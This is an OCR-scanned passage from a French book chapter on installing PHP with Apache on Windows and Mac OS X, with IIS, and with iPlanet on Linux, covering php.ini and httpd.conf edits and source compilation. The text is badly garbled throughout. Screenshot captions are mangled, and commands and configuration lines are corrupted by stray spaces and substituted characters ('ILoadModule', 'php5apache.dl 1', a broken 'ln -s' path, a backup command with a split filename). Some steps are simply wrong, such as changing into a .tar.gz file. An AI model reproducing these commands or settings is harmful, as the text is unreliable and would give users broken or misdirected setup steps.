Si vous utilisez Windows XP avec le Service Pack 2, vous aurez certainement droit a une alerte 
de securite a la fin de l'installation d'Apache. 



■V Alerte de securi 

1 l Pour vous . 
■ \y Windows a 



Pour vous aider a pioteger voire ordinateur, le Pare-leu 
Windows a bloque certaines fonclionnaliles de ce programme. 



Voulez-vous continue! a bloquer ce programme ? 



Norn : Apache HTTP Server 

F-diteur : Apache. Software Foundation 



Mamtenir le blccage j Deblcquer 

Me demander ulterieurement 



Le Pere-feu Windows a bloque I'acceptation des connexions Internet on leseau pour 
ce programme. Si vous faites conferee a ce programme ou a son edileur. vous 
pouvez le debloquer, fjuand puis-je debloquer un programme ? 



Figure 2.18 : 

Alerte de Windows XP 
lors du demarrage 
d'Apache 



T3 



CO 
CD 



3 



Cliquez sur le bouton Debloquer pour permettre l'execution du serveur web. 



Une fois Apache installe, il va se lancer 
automatiquement. Vous pourrez trouver une petite 
plume ornee d'une fleche vers la droite dans la 
barre des taches Windows qui permet d'acceder a la 
console de gestion de votre serveur Web. 

La console de gestion vous permet de connaitre le 
statut du serveur, de 1'arreter, de le relancer ou bien 
d'acceder a la console de gestion des services 
Windows. 




Figure 2.19 : 

Cliquez sur la petite 
fleche verte sur fond 
blanc pour acceder a 
la console de gestion 
Apache 




T he Apache2 service is step Ding 
TheApache2 service has stopped. 
The Apache2 service is starting. 
TheApache2 service has started. 



Apache/2.0. 50 (WinSS) 



Figure 2.20 : 

La console de gestion 
du serveur Apache (ici 
e'etait un test avec 
Apachel) 



Vous pouvez lancer un navigateur et le faire pointer sur 1'adresse http ://localhost pour verifier si 
la page de test Apache s'affiche bien. 

Une fois toutes ces etapes effectuees, vous pouvez passer a l'installation de PHP. 
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Installer PHP 

Telechargez l'archive zippee disponible sur le site du groupe PHP {PHP Zip package dans la 
partie Windows Binairies de la section Download du site). Une fois que vous avez telecharge le 
fichier compresse, decompactez-le sur votre disque dur dans un dossier specialement cree a cet 
effet. Sans vouloir vous influencer, c:\php serait une bonne idee (evitez tout particulierement 
les noms de dossiers avec des espaces). Dans ce dossier, reperez le fichier php.ini-dist, 
renommez-le en php.ini, et copiez-le dans votre repertoire Windows (c:\Windows ou 
c:\WINNT). Une fois le fichier copie, editez-le avec votre logiciel prefere. 

Recherchez cette ligne : 
; extension_dir = 

et renseignez le champ avec ['emplacement ou se trouvent les extensions PHP. Par exemple : 
extension_dir = c:\PHP\ext\ 

si vous avez installe PHP dans un dossier PHP a la racine de votre disque dur. N'oubliez pas, 
pour cette ligne et pour toutes les autres, de les decommenter lorsque vous aurez rentre les 
parametres necessaires. Pour cela, il vous suffit de supprimer le ";" en debut de ligne. 
Attention, ne decommentez que la ligne contenant des parametres ; laissez les lignes 
d'explication en commentaire. 

Recherchez ensuite la ligne 
doc_root = 

et renseignez le champ avec l'emplacement de la racine de votre serveur web. II s'agit en fait de 
donner le chemin d'acces du dossier c:\Program Files\Apache Group\Apache\htdocs\. 

doc_root = "C:\Program Fi 1 es\Apache Group\Apache\htdocs" 

Une fois que vous en avez termine avec php.ini, copiez le fichier php5ts.dll qui se trouve a la 
racine de votre repertoire PHP dans le dossier System du repertoire Windows 
(c:\windows\system pour Windows 9x/Me ou c:\winnt\system32 pour Windows NT/2000/XP). 

Configuration 

Vous allez devoir editer le fichier httpd.conf qui configure le serveur web Apache. 
Normalement, un lien a ete prevu pour cela dans le groupe de programmes Apache cree apres 
l'installation du serveur web (Configure Apache server puis Edit the Apache httpd.conf 
configuration file). Si vous ne trouvez pas ce lien, le fichier httpd.conf se trouve dans le dossier 
conf du repertoire Apache. Avant de vous lancer dans la configuration, assurez-vous que votre 
serveur web Apache est bien arrete. Si vous l'avez lance depuis le lien present dans le menu 
Demarrer, fermez simplement la console. 

Dans ce fichier, recherchez la ligne : 

ILoadModule unique_id_module modules/mod_unique_id.so 
Et ajoutez cette ligne juste apres : 



LoadModule php5_module c:/php/php5apache.dl 1 
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Attention, ne decommentez pas la ligne deja presente dans le fichier de configuration ; elle a 
juste ete utilisee pour permettre une localisation plus aisee. N'oubliez pas de donner votre 
propre chemin vers le fichier php5apache.dll. Si vous utilisez Apache 2 alors le nom du fichier 
devient php5apache2.dll. 

Recherchez ensuite la ligne: 
#AddModul e mod_setenvif .c 

A sa suite, ajoutez cette ligne: -o 

Jo" 

#AddModule mod php4.c " 

— CD 

=3 

Enfin, recherchez la ligne : 3 
#AddType application/x-tar .tgz 
a la suite de laquelle vous ajoutez cette ligne : 
AddType appl ication/x-httpd-php . php . php5 .php4 

Sauvegardez le fichier httpd.conf 'et relancez votre serveur web a l'aide de la console Apache. 
Vous pouvez tester la bonne prise en compte de PHP en affichant un fichier test en PHP. 

Racine 

Par defaut, la racine de votre serveur web se trouve dans le dossier htdocs du 
REHARQJE repertoire Apache. C'est done la que vous devrez copier vos fichiers .php, .html, etc. 



Complement d'installation 

Ca y est vous avez installe PHP 5 pour Windows. Vous disposez de la majorite des 
bibliotheques. Sachez toutefois, que le PHP Group propose egalement un autre ensemble 
d'extensions (pour la plupart peu utilisees ou rendues obsoletes) dans un paquetage appele 
PECL. Celui-ci est disponible sur le site officiel a l'adresse http://www.php.net/downloads.php 
mais egalement sur le CDROM fourni. 

Pour en profiter, il vous suffit de dezipper son contenu (ou seulement les dll qui vous 
interessent) dans le repertoire contenant les extensions PHP dont le chemin est precise dans le 
fichier php.ini sous le parametre extension_dir. et de les activer en les supprimant les 
commentaires dans ce meme fichier. 



Sous Mac OS X 

Nous pouvons considerer qu'il existe deux grandes methodes pour installer PHP dans un 
environnement Mac OS X. Cela peut ainsi se faire : 

Rien qu'en activant PHP au niveau du serveur preinstalle (si vous disposez de la version 
serveur de Mac Os X) ; 

En faisant une installation "manuelle" (notamment si vous disposez de la version cliente de 
Mac Os X ou pour les mises a jours). 
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Installation par un package 

Des packages d'installation prepares pour Mac sont disponibles pour Apache2 et PHP5. 

Comme pour PHP4, le site web Entropy.ch met a disposition des internautes un package 
d'installation de PHP5. II est bien tenu a jour et suit les remarques des utilisateurs. Vous pouvez 
le telecharger a cette adresse : http://www.entropy.ch/phpbb2/viewtopic. php?t=1446. 

L'installation d'Apache2 pourra se faire directement grace au package prepare par la Apache 
Software Foundation : http://www.apple.com/downloads/macosx/unix_open_source/apache.html. Vous 
n'aurez plus qu'a lancer une rapide compilation pour ensuite profiter d Apache2. 

Activation de PHP sur Mac Os X 

Avec OS X, les Mac s'ouvrent beaucoup plus facilement au web, que ce soit dans les versions 
serveur ou client. Meme si les Mac ont toujours fait des serveurs web tres securises, du fait, 
entre autres, de l'absence de ligne de commande, la mise sur pied d'un serveur web sur une 
machine de la firme de Cuppertino n'etait pas, contrairement aux habitudes de la maison, un 
modele de simplicite. 

Le dernier systeme d'exploitation d Apple, Mac OS X, repose sur Darwin, un noyau Unix libre. 
Avec 1'arrivee d'une base Unix, les Mac gagnent en simplicite en matiere de web. Alors que les 
utilisateurs de MacOs n'avaient a leur disposition que quelques serveurs web qu'ils devaient 
installer eux-memes, Mac OS X dispose en natif d'un serveur Apache qui n'attend qu'un 
claquement de doigts pour etre operationnel. De meme, PHP ne demande qu'a etre active. On 
ne peut toutefois pas se limiter a ses installations par defaut. La volonte legitime d'avoir une 
installation plus personnalisee (nouveaux modules, optimisation, etc.) passera par une 
installation ex nihilo d'Apache et de PHP, depuis des sources qu'il faudra compiler. Les mises 
a jour d'Apache ou du langage PHP passeront par le suivi des annonces faites par Apple. 

Ainsi, nous verrons, dans un premier temps, l'activation des services et modules deja presents 
a 1'installation et, dans un second temps, la compilation et l'installation des programmes depuis 
un code source. 

Activer Apache 

Serveur web le plus puissant ou le plus repandu qui soit, peu importe : quand Apple fait 
quelque chose, il le fait de maniere simple et accessible. Les amoureux de la ligne de commande 
vont en prendre pour leur grade. . . Lancer Apache sur Mac OS X est encore plus simple que de 
terminer Adibou decouvre les animawc en mode facile. Une fois Mac OS X lance, allez dans le 
menu Pomme, puis dans Preferences Systeme, et selectionnez Partage. Dans la boite de dialogue 
qui s'ouvre alors, vous trouverez de nombreuses options relatives a la configuration de votre 
serveur web Apache. En effet, ce qu'Apple appelle Portage web repose, en fait, sur le travail du 
serveur web (voir fig. 2.21). 

Sous le titre Partage web, cliquez simplement sur le bouton Demarrer. Votre mot de passe vous 
sera alors demande ; rentrez-le, puis patientez quelques instants, le temps que le serveur se 
lance. Voila, le tour est joue. Si vous obtenez un message d'erreur, il se peut que vous ne soyez 
pas un utilisateur faisant partie du groupe "admin". 
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' Fichiers et Web T Application 











Le partage de fichiers est desaaive 

f Dimarrer ^ c "'' ueI sur Demarrer pour activer le partage de fichiers. Ced permet 
Partage Web desaaive 






f r3^^^ rr ^ r ^ Cliquez sur Demarrer pour activer te partage Web et permettre auK 
autres milisatcurs d'acceder aux pages Web des dossiers Sites. 

□ Activer I'acces FTP 

Permet aux autres utilisateurs d'acceder a votre ordinateur a I'aide d'applications FTP. 
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Figure 2.21 : La boite de dialogue Partage web sous Mac OSX 




Le groupe "admin" 

Par defaut, le premier utilisateur cree fait partie de ce groupe. Ilfautfaire partie de ce 



REMARQJE groupe pour accomplir certaines actions (lancer le partage web par exemple). Pour 
lancer ou arreter le serveur Apache, ilfaudra etre soit le premier utilisateur cree, soit 
un utilisateur qui aura ete place dans le groupe "admin". 

Pour verifier que tout fonctionne bien, vous pouvez lancer votre navigateur web prefere et vous 
rendre a l'adresse http://localh.ost/. Vous devriez y trouver une page d'accueil par defaut. Vous 
pouvez egalement effectuer cette verification avec votre nom d'utilisateur, en vous rendant sur 
votre espace web personnel qui aura ete cree automatiquement par le serveur. Si vous etes 
l'utilisateur toto, votre espace personnel sera alors accessible a l'adresse http://localh.ost/toto/. Cela 
n'est pas tres utile pour le moment, mais cela pourra se reveler interessant quand il s'agira de 
faire des tests de scripts. Vous pourrez utiliser votre espace personnel plutot que le site web de 
premier niveau (un site en http://localh.ost/~toto plutot que http://localh.ost/). Les utilisateurs trou- 
veront leur site dans leur repertoire personnel, dans le dossier Sites . Pour publier des documents 
a la racine du site, il faudra placer ces elements dans le dossier "/Library/Webserver/Documents/". 

ActiverPHP 

Le serveur Apache installe sur Mac OS X comporte deja le module PHP. Toutefois, celui-ci 
n'est pas active par defaut. II faut done faire quelques acrobaties accompagnees d'un 
redemarrage du serveur web pour que toutes les modifications soient prises en compte. 



Faire fausse root 

6 \JP' En fouillant sur le web, ou en puisant dans ses connaissances d'unixien, on peut etre 
REMARQJE tente d'activer le module PHP en passant par l'utilisateur root Or, ce compte n'existe 
pas sur Mac OS X. II est bien sur possible de le creer. Toutefois, il est fortement 
recommande de ne pas creer ce compte. D'une part, on respecte ainsi la philosophic 
d'Apple vis-a-vis de son systeme d' exploitation et, d'autre part, Von garantit une 
meilleure securite au systeme root ayant droit de vie et de mort sur le systeme). 
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Pour mener a bien certaines operations, vous devrez utiliser la commande sudo (su pour 
"super-user" et do de "to do"). Cette commande vous permet d'avoir acces a des actions 
normalement reservees a l'utilisateur root. Lorsque vous ferez appel a cette commande pour 
la premiere fois, le systeme vous demandera votre mot de passe. Ensuite, vous pourrez 1'utiliser 
directement. 

L'activation de PHP consiste principalement en une modification du fichier httpd.conf, fichier 
de configuration du serveur web Apache. Avant de faire des modifications sur ce fichier, il est 
fortement recommande d'en faire une copie, afin de garder une porte de sortie en cas de 
mauvaise manipulation. Rendre ce fichier de configuration inutilisable revient purement et 
simplement a mettre en berne son site web, Apache ne pouvant alors plus demarrer. 

Pour faire cette copie, lancez un terminal (depuis le Finder, dans le dossier Applications, puis le 
dossier Utilitaires, choisissez Terminal). Une fois le terminal lance, saisissez cette ligne de 
commande : 

sudo cp /etc/httpd/httpd.conf /etc/httpd/httpd.conf .copie 

Le systeme vous demande votre mot de passe ; donnez-le lui. Si jamais il vous arrivait malheur 
lors de l'edition du fichier de configuration, vous n'auriez alors qu'a ecraser le fichier de 
configuration par la sauvegarde que vous aviez faite. Pour cela, utilisez cette commande : 

sudo cp /etc/httpd/httpd.conf .copie /etc/httpd/httpd.conf 

Une fois cette operation effectuee, nous pouvons travailler sans danger sur le fichier httpd.conf 
(ou tout au moins sans remords). Nous allons devoir rechercher les references a PHP dans ce 
fichier, pour nous assurer qu'elles sont bien prises en compte par le serveur lors de son 
demarrage. 

Nous utiliserons l'editeur de texte Pico pour travailler sur le fichier. Si c'est la premiere fois que 
vous utilisez cet editeur en mode texte, il peut etre utile d'en consulter l'aide. Cela vous evitera 
des heures d'errance, coince dans un fichier texte qui n'en demandait pas tant. 

Puis, une fois Pico lance, tapez (Ctrl [ + (g) pour acceder a l'aide integree. La plupart des 
commandes s'obtiennent par le biais de la touche [ Ctrl [ suivie d'une lettre. Vous pouvez 
d'ailleurs voir les fonctions les plus utiles en bas de la fenetre de terminal. Une fois que vous 
avez compris les bases de l'utilisation de Pico, vous pouvez lancer l'edition du fichier http.conf : 

sudo pico /etc/httpd/httpd.conf 

N'oubliez pas que vous devez donner votre mot de passe. 

Dans ce fichier, recherchons les references a PHP ( [ Ctrl 1 +fw], PHP, [ Entree 1 ). La premiere 
reponse doit etre celle-ci : 

ILoadModule php5_module 1 ibexec/httpd/1 ibphp5.so 

Le # devant la ligne signifie qu'elle est commentee, et que le serveur ne prend pas en compte 
cette ligne de configuration lors de son demarrage. Supprimez le # et refaites une recherche. 
Vous ne devriez pas avoir a ressaisir "php", Pico gardant en memoire la derniere occurrence de 
recherche. Votre nouvelle recherche doit vous amener a cette ligne : 

#AddModule mod_php4.c 

De meme, supprimez le #. Desormais, Apache chargera le module PHP lors de son 
chargement. 



Continuons la recherche. L'occurrence suivante doit se trouver dans ce paragraphe : 

# AddType allows you to tweak mime. types without actually editing it, or to 

# make certain files to be certain types. 

# 

# For example, the PHP 3.x module (not part of the Apache distribution - see 

# http://www.php.net) will typically use: 

# 

#AddType application/x-httpd-php3 .php3 
#AddType application/x-httpd-php3-source .phps 

# 

# And for PHP 4.x, use: 

# 

#AddType application/x-httpd-php .php 
#AddType application/x-httpd-php-source .phps 

Ce paragraphe stipule que les fichiers delivres par le serveur qui ont pour extension .php3, .php 
ou .phps doivent etre traites avec le module PHP. Supprimez aussi les # devant ces lignes, sinon 
le chargement du module PHP ne servirait pas a grand-chose. Attention, ne decommentez pas 
toutes les lignes, mais seulement les lignes d'instructions, comme ceci : 

# AddType allows you to tweak mime. types without actually editing it, or to 

# make certain files to be certain types. 

# 

# For example, the PHP 3.x module (not part of the Apache distribution - see 

# http://www.php.net) will typically use: 

# 

AddType application/x-httpd-php3 .php3 
AddType application/x-httpd-php3-source .phps 

# 

# And for PHP 4.x, use: 

# 

AddType application/x-httpd-php .php 
AddType application/x-httpd-php-source .phps 

Recherchez maintenant l'occurrence <ifModule mod_dir.o. Vous devez arriver sur un 
paragraphe comme celui-ci : 

<IfModule mod_dir.c> 

Di rectory Index index.html 
</IfModul e> 

Ajoutez "index. php" a la ligne du milieu, en laissant un espace apres "index.html". Cela 
indique au serveur Apache qu'il doit, lorsqu'on lui donne une adresse du type http://loto.com/tili/, 
rechercher un fichier index.html dans le dossier Ititi, mais egalement un fichier index.php. 

Voila, toutes les modifications necessaires ont ete effectuees. Vous pouvez sauvegarder le 
fichier et quitter Pico. II vous faut maintenant redemarrer le serveur Apache, afin qu'il prenne 
en compte les modifications que vous avez effectuees dans le fichier de configuration. Faites-le 
depuis l'interface graphique (Partage web, en arretant puis demarrant le serveur), ou encore 
depuis votre terminal en tapant cette commande : 

sudo apachectl restart 
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Pour verifier que vos modifications ont bien ete integrees, tapez cette commande dans votre shell : 
tail /var/log/httpd/error_log 

Cela aura pour effet d'afficher les traces des messages d'erreur d'Apache. Au debut du fichier, 
vous devez pouvoir trouver cette ligne : 

[notice] Apache/1.3.23 (Darwin) PHP/4.1.2 configured -- resuming normal operations 

Une fois que tout est integre et fonctionnel, profitez de l'occasion pour faire une copie de 
sauvegarde de votre fichier httpd.conf. Cela vous evitera, lors d'une reinstallation, de devoir 
repeter toutes ces manipulations. Toujours dans votre shell, tapez cette commande : 

sudo cp /etc/httpd/httpd.conf /etc/httpd/httpd.conf .copie 




Une version serveur de pointe 

Sur la version serveur de Mac OS X, le serveur de bases de donnees MySQL fait 



REMARQJE egalement partie de Vinstallation par defaut. Dans la version client, il faut installer 
soi-meme le serveur. 



Installation manuelle 

Apple fournit des sources pretes a etre compilees qui vous permettront de rester a jour sans 
avoir a reinstaller tout votre systeme. Compiler une nouvelle version dApache ou du langage 
PHP peut etre obligatoire pour des raisons de securite. Ayez en tete que vous devrez alors 
certainement revoir des options de configuration (tout particulierement pour httpd.conf) pour 
vos logiciels nouvellement installes. Faites egalement le tour des modules que vous avez 
installed et des modules qui seront disponibles et compatibles apres la mise a jour. Certains 
portages peuvent prendre quelque temps. Evitez done de faire une mise a jour trop rapide, qui 
vous priverait de modules dont vous avez besoin pour votre site. 

Compiler Apache 

Avant d'aller plus loin, assurez-vous que vous disposez bien des outils de developpement Apple 
sur votre machine. Si vous n'avez pas le CD qui contient ces logiciels, vous pouvez vous inscrire 
gratuitement au Developper Network dApple. Cet enregistrement vous donnera acces a ces 
logiciels, que vous n'aurez plus qu'a telecharger et installer. Nous vous recommandons 
d'ailleurs de faire des mises a jour de ces logiciels. En effet, les versions les plus recentes 
dApache ou de PHP pourraient ne pas se compiler avec des outils trop anciens. Une fois cette 
installation effectuee, lancez un terminal (depuis le Finder, dans le dossier Applications, puis le 
dossier Utilitaires, choisissez Terminal). Saisissez alors les lignes de commande suivantes : 

mkdir i nstal l_apache 
cd /i nstall_apache 

Vous creez et entrez dans un repertoire qui vous servira pour cette compilation, 
wget http://www.apache.org/di st/httpd/httpd_XX. tar.gz 

Vous telechargez la derniere version du serveur web Apache directement depuis le site 
dApple. 
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gnutar xzf httpd_XX.tar.gz 

Vous decompressez le fichier contenant les sources. 

cd httpd_XX 

Vous entrez dans le repertoire qui contient les sources. 

./configure --enabl e-modul e=most --enabl e-shared=max 

Vous creez le fichier de configuration qui servira lors de la compilation. 

make 

Vous compilez les sources, 
sudo make install 

Vous installez les executables sur votre systeme. 

N'oubliez pas que c'est votre mot de passe qu'il faut donner au systeme pour qu'il puisse 
executer la commande sudo. Dans httpd_XX. tar. gz, lesZZsont a remplacer par le numero de la 
version d'Apache concernee. N'oubliez pas d'arreter puis de relancer votre serveur Apache, 
comme nous l'avons vu plus haut, afin que ce soit cette nouvelle version qui soit en service. 

Compiler PHP 

Dans un terminal, rentrez les commandes suivantes : 

mkdir install_php 
cd install_php 

Vous creez et entrez dans un repertoire qui vous servira pour cette compilation, 
wget http://www.php.net/distributions/php-XX.tar.gz 

Vous telechargez la derniere version du langage PHP directement sur le site de PHP. 
gnutar -xzf php-XX.tar.gz 

Vous decompressez le fichier contenant les sources, 
cd php-XX.tar.gz 

Vous entrez dans le repertoire qui contient les sources, 
./configure --with-apxs=/usr/sbin/apxs --di sabl e-pear 

Sans PEAR c'est mieux ? 

Si, comme nous, vous rencontrez des problemes lies a la bibliotheque pear, n'hesitez 
pas a utiliser V option --disable-pear. Vous pouvez toutefois essayer sans, histoire 
de voir si vous etes plus chanceux que nous. . . 
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Vous creez le fichier de configuration qui servira lors de la compilation, 
make 

Vous compilez les sources, 
sudo make install 

Vous installez les executables sur votre systeme. 
sudo cp php.ini-dist /usr/1 ocal /l i b/php. i ni 

Vous copiez le fichier de configuration de PHP dans un repertoire ou Apache saura le trouver. 

N'oubliez pas que c'est votre mot de passe qu'il faut donner au systeme pour qu'il puisse 
executer la commande sudo. 

Dans php-XX.tar.gz, les XX sont a remplacer par le numero de la version du langage PHP 
concernee. 

Assurez-vous enfin que votre fichier httpd.conf est bien configure pour permettre a Apache 
d'utiliser et d'interpreter correctement PHP. 

Quelques liens 

En frangais 

Un tutoriel en frangais tres complet et tres bien fait pour installer Apache! et PHP5 : 
www.phpmac.com/articles.php7view189 

De nombreuses informations pour les developpeurs sous Mac Os X (page PHP) : 
http://projectomega.online.fr/contents/fr/php/index.php 

En anglais 

Installer Apache! et PHP5 sous Mac OS X: 
http://laughingmeme.org/archives/001787.html 

PHP sur Mac OsX, chez Apple (conseils pour la compilation, modules compatibles, 
etc.) : 

http://developer.apple.com/internet/Mac_OS_X/php.html 

Apache et PHP sous Mac Os X par I'un des createurs de Darwin : 
http://www.stepwise.com/Articles/Workbench/2001- 10- 1 1.01.html 
Apache et PHP sous Mac Os X, par Marc Liyanage : 
http://www.entropy.ch/software/macosx/php/ 
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Avec IIS 

Installer IIS 

L'installation du serveur web IIS est plutot simple. Inserez le CD-ROM d'installation de 
Windows NT, 2000 ou XP Pro dans le lecteur de votre machine. Allez dans le menu Demarrer 
puis dans Parametres et Panneau de configuration. Lancez Ajout/Suppression de programmes. 
Cliquez sur l'onglet Ajouter/Supprimer des composants Windows, puis cochez la case Services 
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Internet (IIS), validez par OK. Vous pouvez tester la bonne installation d'HS en ouvrant un 
navigateur a cette adresse : http://localhost/. 

Installer PHP 

Vous devrez done utiliser l'archive zippee disponible sur le site du groupe PHP (PHP Zip 

package dans la section Windows Binairies de la section Download du site), ou celle fournie sur 

le CD-ROM. Une fois que vous avez telecharge le fichier compresse, decompactez-le sur votre 

disque dur, dans un dossier specialement cree a cet effet. Sans vouloir vous influencer, c:\php 

serait une bonne idee (evitez tout particulierement les noms de dossiers avec des espaces). S 

Dans ce dossier, reperez le fichier php.ini-dist, renommez-le en php.ini , et copiez-le dans votre £§ 

repertoire Windows (c:\Windows ou c:\WINNT). Une fois le fichier copie, editez-le avec votre 3 

logiciel prefere. — 

Recherchez cette ligne : 
; extension_di r= 

et renseignez le champ avec remplacement ou se trouvent les extensions PHP. Par exemple : 
extension_di r=c:\PHP\extensions\ 

si vous avez installe PHP dans un dossier PHP a la racine de votre disque dur. N'oubliez pas, 
pour cette ligne et pour toutes les autres, de les decommenter lorsque vous aurez rentre les 
parametres necessaires. Pour cela, il vous suffit de supprimer le ";" en debut de ligne. 
Attention, ne decommentez que la ligne contenant des parametres ; laissez les lignes 
d'explication en commentaire. 

Recherchez maintenant la ligne : 
; browscap=extra/browscap . i ni 

et donnez l'adresse de votre fichier browscap.ini. Sous Windows 9x ou Me, vous le trouverez la : 
c:\windows\system\inetsrv\browscap.ini et, sous Windows NT, 2000 ou XP Server, il est situe au 
bout de ce chemin : c:\winnt\system32\inetsrv\browscap.ini. (Cette operation est plus que 
facultative). 

Si vous voulez installer d'autres extensions, il vous suffit de disposer des DLL requises par 
celles-ci, et de decommenter les lignes les concernant dans le fichier de configuration. Une 
procedure complete est presentee dans le fichier install.txt fourni avec l'archive PHP. Cette 
procedure est egalement decrite pour chaque bibliotheque presentee dans ce livre. 

Une fois que vous en avez fini avec le fichier php.ini, et qu'il est bien place a la racine de votre 
dossier Windows, passez a la configuration du serveur lui-meme. 

II vous faut travailler dans la console d'administration du serveur IIS. Pour cela, allez dans le 
Panneau de configuration, puis dans Outils d'administration. La, double-cliquez sur 
Gestionnaire des services Internet. Dans la fenetre qui s'ouvre, faites un clic droit sur le serveur 
web que vous voulez configurer, et choisissez Proprietes. (Attention, deroulez bien 
l'arborescence pour arriver au site web. Ne travaillez pas sur la machine locale.) 
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Proprietes de Site Web par defaut 



Securite de repertoire 


En-tetes HTTP 


Messages d'eireur personnalises 


Extensions serveur 



Site Web | Performances | Filtres ISAPI Repertoire de base 
_<:rs de la connexion a cette lessource, le contenu dcii: provenir de : 
* Un repeiioiie situe sur eel oidinats^r 
Un palace situe sui un autre o:din:Keui 
Una fedirectioii vers i-n* URL 



Chemin d'acces |c:\inetpubViwiMoot Parcc 

Acces si la source du script *" Acces au journal 

Lecture </ Indewer cette ressource 

F Ecriture 

l~ Exploration de repertoire 

Pararnetres d'application 

Norn de I'appOcation : |Application par defaut 

Point de depart : <Site Web par defaut> 

Execute! les automations i (Scripts seulernent 

Protection d'application : | Moyenne [En tile d'altente] 



Configuration... I 

zl 



Annuler | Appliquer Aids 



Figure 2.22 : 

Configuration de PHP 
pour IIS 



Cliquez sur l'onglet Repertoire de base, puis sur le bouton Configuration. Dans la nouvelle 
fenetre, cliquez sur Ajouter. Dans la nouvelle fenetre (Ajout/modification de mappage 
d'extension de fichier), cliquez sur Parcourir, et donnez le chemin vers php4isapi.dll 
(normalement dans le dossier sapi de votre repertoire PHP). Dans le champ extension, donnez 
php. Verifiez que la case Moteur de script est bien cochee, puis cliquez sur OK pour revenir a la 
console d'administration. Depuis cette meme console, arretez et relancer votre serveur. Vous 
pouvez desormais tester la bonne gestion de PHP. Vous devrez recommencer l'operation pour 
toutes les extensions que le serveur doit interpreter comme de PHP {.php3, .phtml, etc.). 



Avec iPlanet 

Sous Linux 
Installer iPlanet 

iPlanet s'installe vite et bien. En plus d'etre gratuit, il dispose d'une interface web de 
configuration tres puissante, qui pourra aider les plus novices et qui, pour tous, facilite nombre 
de taches. Dans bien des situations, cela evite d'avoir a passer par les fichiers de configuration. 
Nous presentons ici une installation pour GNU/Linux sur une distribution RedHat. Pour une 
installation sur un autre systeme de type UNIX, reportez-vous aux liens presentes en fin de 
partie. 

Pour installer iPlanet, a moins que vous ne disposiez de votre propre copie, telechargez-en une 
version sur le site de Sun (wwws.sun.com/software/download/download/5126.html). Le serveur est dis- 
tribute sans contrepartie ; il vous suffit de laisser quelques informations a Sun. Pendant que le 
telechargement suit son cours, vous allez pouvoir faire quelques petites manipulations prepa- 
ratoires. La version de iPlanet distribute par Sun pour Linux a ete preparee pour une Red- 
Hat 6.0. Les autres distributions (hors Mandrake) auront certainement quelques difficultes a 
s'adapter. Les versions posterieures a la 6.0 posent d'ailleurs un probleme assez genant, 
puisqu'elles interrompent carrement le script d'installation du serveur. En fait, iPlanet demande 



la librairie ncurses dans sa quatrieme version, alors qu'aujourd'hui, c'est la version 5.2 qui est 
fournie avec les systemes RedHat. II est possible de tricher en faisant un lien symbolique de la 
version installee vers une pretendue version 4 ; version qui donnera alors entiere satisfaction au 
script d'installation. Pour cela, en etant logue en tant que root, rentrez la commande suivante : 

In -s /usr/1 ib/1 i bncurses .so. 5. 2 /usr/1 ib/1 ibncurses.so.4 

Pour verifier quelle est la version de ncurses installee sur votre systeme, tapez la commande : 
locate ncurses 

Notez alors le chemin qui s'affiche, et utilisez-le dans la commande donnee plus haut. 

Cette manoeuvre ne met absolument pas en peril le systeme d'exploitation, pas plus qu'elle ne 
compromet le bon fonctionnement du serveur. La librairie concernee n'est en effet utilisee que 
lors de la creation de 1'interface d'administration. Lors de nos tests, cette procedure a 
parfaitement fonctionne, n'entrainant aucun dysfonctionnement du serveur, du systeme Linux, 
ni de 1'interface graphique elle-meme. Une fois le lien cree et le telechargement termine, vous 
pouvez passer a ['installation du serveur. 

Avant de vous lancer dans la procedure d'installation, assurez-vous que vous disposez bien de 
tous les outils logiciels necessaires : compilateur, gestionnaire de fichiers compresses, etc. Les 
utilisateurs de Sun trouveront tout le necessaire sur le site http://www.sunfreeware.com. 

Rendez-vous dans le dossier contenant l'archive iPlanet et decompactez-la. Entrez dans le 
dossier iws qui vient alors d'etre cree. En tant qu'utilisateur root (commande su pour passer en 
root), lancez le script d'installation ( . / setup). Renseignez ensuite tous les champs demandes 
et repondez aux questions qui restent assez classiques (dossier racine du site, creation d'un 
utilisateur et d'un groupe pour le serveur, etc.). Vous pouvez d'ailleurs choisir entre une 
configuration express ou une configuration avancee. A vous de voir ce qui convient le mieux a 
1'installation que vous etes en train d'effectuer. Si vous ne destinez pas le serveur a une mise en 
exploitation, autant aller au plus vite. Retenez bien l'identifiant {login) et le mot de passe qui 
vous sont demandes pour l'acces a 1'interface de gestion. 

Une fois iPlanet installe, passons a la compilation de PHP. 

Compiler PHP 

Tout d'abord, telechargez la derniere version de PHP sur le site officiel (http://www.php.net), ou 
bien utilisez celle fournie sur le CD-ROM. Passez en utilisateur root, et verifiez que les 
parametres suivants sont bien situes dans votre path (commande echo $path). Si elle n'y sont 
pas, ajoutez-les : 

: /usr/1 ocal /bin : /usr/sbin:/usr/bin:/usr/ccs/bi n 
Decompactez l'archive : 

# tar xzvf php-XX.tar.gz 

Rentrez dans le repertoire cree lors du decompactage, puis rentrez cette commande : 

# ./configure --with-nsapi=/opt/netscape/suitespot/ --enabl e-1 i bgcc 

Le chemin suivant le parametre — with-nsapi varie selon votre installation. A vous de donner 
le bon chemin. Sous Linux, ce doit etre quelque chose comme : /usr/iplanet/servers/ . 
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Si le serveur de base de donnees MySQL est installe sur votre machine, vous pouvez egalement 
donner ce parametre comme option de configuration — with-mysql=/usr/lib/mysql. 

Une fois la configuration effectuee, rentrez alors la commande : 

# make 

puis, finalement : 

# make install 

PHP est maintenant installe sur votre systeme. Vous pouvez passer a la configuration du 
serveur web. 

Configuration d'iPlanet 

La configuration du serveur iPlanet se resume a l'edition de quelques fichiers de configuration 
ponctuee d'un redemarrage dudit serveur. Rendez-vous dans le repertoire contenant les 
fichiers de configuration de votre serveur (quelque chose comme /usr/iplanet/servers/ 
https-localhost.localdomainlconfigl). Faites attention, ne vous trompez pas entre le dossier 
https-loalhost.localdomain et le dossier https-admserv . Le premier est le bon ; c'est celui qui 
contient les informations et documents relatifs a votre serveur web public. Le second ne 
concerne que le serveur utilise par l'interface web de configuration, Sun ayant offert a 
l'interface web son propre serveur (ce qui est plutot une bonne idee quand on sait ce que peut 
engendrer une mauvaise manipulation des fichiers de configuration). N'ayez d'ailleurs pas peur 
lors de vos exercices de configuration : il existe deja sur votre machine un repertoire de 
sauvegarde qui contient une copie des fichiers de configuration du serveur web. Situe au meme 
niveau que le dossier config, le dossier config-bk pourra vous sortir de l'orniere en cas de pepin. 
II vous suffira de copier tout simplement son contenu dans le repertoire config. 

Commencez d'abord par editer le fichier mime. types pour y ajouter la ligne suivante : 

type=magnus- internal /x-httpd-php exts=php,php3,php4,php5,phtml 

